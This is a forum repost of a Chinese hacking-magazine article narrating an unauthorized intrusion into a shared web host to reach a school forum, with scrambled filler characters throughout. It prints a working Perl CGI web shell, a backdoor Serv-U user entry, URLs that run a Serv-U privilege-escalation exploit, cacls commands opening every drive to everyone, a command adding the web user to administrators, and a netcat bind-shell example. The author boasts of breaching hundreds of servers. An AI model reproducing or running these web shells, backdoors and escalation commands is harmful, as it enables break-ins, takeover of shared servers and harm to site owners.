找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2125|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
: W/ Z) E  u- a/ V: m) W本文作者:angel) |: v" o8 Y5 M  @  C% L
文章性质:原创
/ }: q8 c0 x# p% b* f0 v. a发布日期:2004-11-09
! ^/ @  \3 i2 E4 }注意:, y& L, K( x' ?7 q) ?% `
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
5 H: V% u* m" Q! o- m- g* c本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
7 z: L5 r& ^- Y- V
: z- }, g8 Y9 ]- s+ z  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
  @6 ?, j) @. |" m  O+ d
  K' M5 `+ J2 R' o/ w  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 * Q' I" b# p4 o4 U% J7 A
1 Q7 l  R" R1 V
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
2 e2 l; v! P4 g/ Y/ l3 c5 ^& d( Y- Y3 Q* _
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 4 y# p) m$ R: H4 m7 O5 ^
1 C1 D7 @  V( G" |8 m( [& d7 e
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 : `9 z$ l" b. O* Q+ e
5 W: B0 {: V8 \1 _/ S4 W
  没有目的的跳转目录着…… 7 o8 `0 `2 O9 j

% I0 V) p1 v1 @  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
$ p9 }  {4 ^/ ^7 K/ N
5 ]7 e' t% f: }( y# ^" X  结束了吗?不,我试着 FTP 一下: " S0 H1 _. L0 Q% w
/ \3 T0 S9 H3 v7 r/ ]" |
Microsoft Windows 2000 [Version 5.00.2195]
1 w! u4 M/ x8 h4 J- Q/ u2 ~8 b+ W(C) 版权所有 1985-2000 Microsoft Corp. % e; F$ e* m; w# ?4 W% F$ \

# U! y  X/ [! ~  GC:\Documents and Settings\Administrator>ftp www.school.com: U* z$ e1 ^& r4 O+ p, Y$ g
Connected to www. school.com.
1 U3 L) f- s* Z2 s1 M220 Welcome to FTP Server... 6 w3 q) T3 C  }, c, }3 b
User (www.bjtrq.com:(none)):
1 q9 y- [% U( C' s# s7 {331 User name okay, need password.
8 Y% g8 Z3 B3 K4 f4 s" C( qPassword: 6 `0 T: a) ^  p3 t6 G. O/ z
530 Not logged in. 7 J8 }* f4 J: j2 I
Login failed. + j  b3 [* N$ U
ftp> bye % C  d/ T' {& }. B' I3 `3 P
221 Goodbye! : i: z' g2 V* F
  Z4 M& A5 Q* Q% B' K. L/ F
+ [+ ?, e3 @7 v3 Z
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
- w" C7 g, h1 C0 K1 y$ R+ n/ g- f
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 % j$ T1 X' v! Z/ G2 m: B
4 h/ T" q8 `! [8 d
Application Data
9 g3 \. g' C( `Documents5 w! P# x" a, T/ O/ r
DRM
7 g( Q6 G3 |* x1 D8 x: C" iFavorites/ u- |# p1 y0 i  ^
Templates
1 \3 _" o8 u: y「开始」菜单8 i3 ]4 a8 m" n* s. ~* w0 p; A
桌面7 K6 X. I$ e7 k6 }

& P( @6 O2 G7 [4 ^% X5 C8 O6 W  j9 d
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 1 V2 H$ V# q, O7 b. q  q* A
( ?9 P+ k; V' D; o( l
ActiveState ActivePerl 5.8! k' ~4 t& P/ Y( M- M( m+ D! ]
Administrative Tools! n+ _, a1 X0 q( j
Deerfield.com
- U- I* F3 I. }" \& H7 x- KDTemp$ H  u2 z- h$ g
IPSentry
9 b3 T7 t$ r, KMBM 5
5 D3 y+ O  j! r. L; xNetMeter
/ f( X; Q4 B5 B$ Q. FNetwork ICE
" ]- ?% {7 m/ F. nPersits Software AspEmail
- h' t; U/ t2 K" z8 HPersits Software AspJpeg
3 c4 }* ^, a. ^Serv-U FTP Server% {" Z. i! ?8 a+ D
Symantec Client Security
/ |3 a# n. Z. A- C7 mWindows 优化大师# X0 K6 u0 R2 d& m* I9 A5 y
WinRAR
- _# I( B9 }* A启动5 ~3 T  k! I# p9 R4 P/ R
管理工具9 a' b, ^* ^. z: S+ C" v
附件
  e, O$ n# @: U# r6 J% u * Z8 l" j. ?# a, H7 O- v3 G: n( ]

  i# t' I& U8 @; n) ~  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 0 U5 z* ~/ _' M. I" l
! l2 ]4 m* d3 W2 U# D5 e$ ]
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: * ?5 K+ `; A$ K, `, `& f& Y
1 V- d6 H; ~4 z4 {+ Y6 p; z
User281=angel|1|0
7 a/ _+ q+ n0 V6 y' Z! [  T9 F5 d
) G' `. Q" p5 G. D7 C- {, g4 }2 f4 i: v7 @! t) c4 S/ J* y
  然后加上
# Y' i4 V. J: ]; e# P3 R- X. a% @
/ W2 q( c! P/ C. t% T[USER=angel|1]
* o: ^6 S5 B" J/ ^Password=ng98F85379EA68DBF97BAADCA99B69B8053 k3 G% b- F0 s8 \
HomeDir=D:\websites
/ c4 Z! ~0 \9 K+ a- u: D. ?( h, LRelPaths=1- O0 _4 I% I9 s: k( H
TimeOut=6008 [0 I  F/ ]6 N3 N! p- G
Maintenance=System
- U  {( w1 c# }( Y# c) j5 aAccess1=D:\websites|RWAMELCDP% k$ n& k* Y( n) v% N& a
SKEYValues=
5 M/ g. z6 L* o; s- R
7 g  H4 u. s7 t, E: @7 o3 B6 b' @/ V' _. x1 k& e2 E* U
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
5 g6 ^9 i( i4 k8 H4 C0 K" C" d
  o' ~& Z1 q* a0 X1 p  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 1 |7 @0 {7 T3 D9 z  W
  \6 A) f$ Q: z4 L8 R0 o
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
0 |" C  F2 o- i( l
/ q! J; ^8 @8 ?2 m) S) \  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
& F1 x  F, y/ E0 ~1 ]
# N- H' {1 R" j, z. a4 d#!/usr/bin/perl
3 ]! Y' r7 ?1 H! {2 Hbinmode(STDOUT);
" E4 H' g' _; B% `! Xsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
2 J$ c, B' D" F+ \5 ]7 B% t( H$_ = $ENV{QUERY_STRING};
& @  ^; E5 K, O( Q% us/%20/ /ig;
3 k) z/ f9 q3 z% o' j: a; vs/%2f/\//ig;* V4 O8 C/ w$ w  _  S8 Y
$execthis = $_;
& G, m- r( C; u! K& asyswrite(STDOUT, "<HTML><PRE>\r\n", 13);4 n: S; b8 \1 }* d/ `  K
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
, P& i3 r) G+ Jsystem($execthis);# L! l% v% O4 {& v' t) S% B) E
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);- y3 v6 y8 I* [- j/ Y8 J5 W, C
close(STDERR);. [% b+ U% o! [
close(STDOUT);
; E$ z1 i8 R' Dexit;( X; b& L* Y- e" p# g0 u2 p
9 c: a7 M. h  l; y) ~. Y1 X) v+ q) F3 F

) C, c2 C5 M* B' Z; @5 p$ ~2 D  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
( I( [+ O' ]( d- R, d6 X) o
& C6 n6 t4 `4 e' O7 A  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
/ q$ e  K/ R3 K* k, T$ I' @1 ?3 W  B
http://anyhost//cmd.pl?d:\user\bin\su.exe 6 e$ @0 q. h% W

0 \5 p, ~+ E; a
: Q0 d7 c+ I$ s( b* ^; z( d  返回:
4 ^0 p+ V: P( X6 U( c+ P
  b# |; Q- r2 B4 O3 l* AServ-u >3.x Local Exploit by xiaolu 9 ~" d, _; ~8 W7 [' e2 Z- Z

- m3 y' y2 J  vUSAGE: serv-u.exe "command"
  Z8 r4 U  @/ k  u4 o4 E: ], l& X4 A' j- W0 @
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
1 D# L3 ?* W) m; S- p' k  ?% r ' V; \5 r0 ?4 t& G( F5 k
* l% N# z5 e0 |- h  u' w% W  t. i
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:   b0 {! _8 \. t7 m0 {- D3 Y3 {: w
6 Q7 i- U$ ~6 Q3 x
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
/ A: f. j7 B" H4 g6 e) _7 t0 Z' I  r) L0 u1 m
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
- n% I* n: i1 X' x1 H8 D$ X+ r' W. w/ P
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 5 [3 I) f1 e; [9 u7 x7 K% u$ |/ b
) w8 `: ?' ~; o  n1 a& i
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
" I4 f/ k) n$ o5 |8 c! ?" g( f' B   |! l: d# H& I$ d' Z
; V' p5 y4 J! z" ^
  返回下面的信息,就表示成功了!!! 0 }3 r& J" W7 b/ J
1 |5 C+ s$ n. F! K$ K% F6 i
Serv-u >3.x Local Exploit by xiaolu
" m+ V" G' k6 W& ~
1 _5 W% n: A$ [* q0 X<220 Serv-U FTP Server v5.2 for WinSock ready...
1 B/ i* t3 G- o
' f5 s  X$ f) T8 f& [& T# D6 S>USER LocalAdministrator
, T8 l7 G/ _0 p4 A0 q2 R; x: n
, N/ K2 s9 h7 q6 a. S9 b# X<331 User name okay, need password.
& d2 G$ s0 [% g7 [- N* s& q. O/ J/ e7 T) O6 J$ Y+ o; i* t
******************************************************
% e0 v4 Y+ y7 s  b: V  x6 S; n4 |0 e! n
>PASS #l@$ak#.lk;0@P
% A* O8 M# M& X5 L& V9 O
! B! |  [! V& a7 i! S" k$ C<230 User logged in, proceed. 0 ]; Z4 p6 F0 @. l8 w+ ^4 J( k2 H

* [8 _; D& g) _) Q( }( f0 p; H( v. r****************************************************** ' Z+ W$ ?: s0 P5 P/ ]; s
& ?2 [# w3 D: C+ A3 a% ]
>SITE MAINTENANCE 3 s5 T! ]: K) h
3 m$ l9 ~6 ^2 D8 |" v" C, l
******************************************************
9 g1 V; R; U% T1 v! @  y. f1 |
[+] Creating New Domain... 6 ]0 Q1 w" {3 }; a* @, X$ \) J

' {5 w# o: b  u) H5 v<200-DomainID=2 ) f. W/ c5 ^! ^; K6 r/ w& ^  x( K% M6 y0 |
# T$ w! h6 r5 K  ^1 U
<220 Domain settings saved
2 L0 u; j: f9 w% f
9 `' ], M' [  V$ G1 v- \% m. }******************************************************
$ `5 L% @' D2 I7 T+ K2 U! q3 m0 A: Q
3 Y, D! U8 F2 p7 N- X[+] Domain xl:2 Created
5 `. K( H, C, G/ W+ |0 T" ]
) i- {; k  S- W0 V5 ~[+] Creating Evil User
  i6 E% h: b9 r4 F1 |- F9 M* P
& g8 T- u8 @4 s& \% ~$ r1 e8 R<200-User=xl
4 h9 M% ?, [6 |8 f; K
7 }' c' \1 z5 Q/ B6 u200 User settings saved
" W( S- @$ i- Q; M  |. P/ c! x# @, h: D8 O
****************************************************** , o" E8 `0 c* T( I
* O) _1 {6 q( N; [- N
[+] Now Exploiting... $ Y8 F( b3 ?. v2 T3 k
6 i% `2 \! m/ o( y$ I( e2 ~8 z
>USER xl " D: I/ }4 |7 T

, \9 s% G1 o  @" I, L! X+ v<331 User name okay, need password.   Z9 |9 W8 W0 D- K# G' g* ]5 I

9 @6 |2 u! G" H9 c6 i******************************************************
" n8 ~$ u5 |+ \1 h/ r. z$ R" l
4 Q9 z, @+ C/ W# T( o" _* M>PASS 111111
8 r' c4 _5 z9 C0 J: J- @
5 ?) ?6 B. I7 |) p# P! m<230 User logged in, proceed. 4 s' J1 S0 X$ T/ e

: G  W' Y( L% m! a******************************************************
/ m8 m5 \9 O$ Q( V8 N3 O
  r4 f% @3 g: @5 s+ [! I[+] Now Executing: cacls.exe c: /E /T /G everyone:F ; Y: F) T$ u- K1 w) ^

% N5 A( M" u- E  h/ E<220 Domain deleted ! C  W& c* T. b, Z

( i" m. v! F7 R9 U****************************************************** 5 z- R  t3 f. L) ^. r
" f3 b2 x1 Y% W5 t' ^4 f+ t
% L$ P+ g1 j! w- w) d0 g
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 4 E' B. u- t- L8 y; k% ]0 E9 E

& Y  O2 v' H2 z# {http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
& G' C1 t: ~" E: [5 S* j( N. M1 { 8 j7 @5 d8 D* q" m% `1 B0 B1 Q
, g4 C8 x+ h* r% _/ @
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 ; H* k4 u0 j$ H0 d/ e

" [/ Q! R0 I, l! J  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。# e5 f. L4 [  \' X9 N9 a! i

3 @- `& h5 Q- C" c4 q  8 n# O, o3 Y0 ~- U3 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表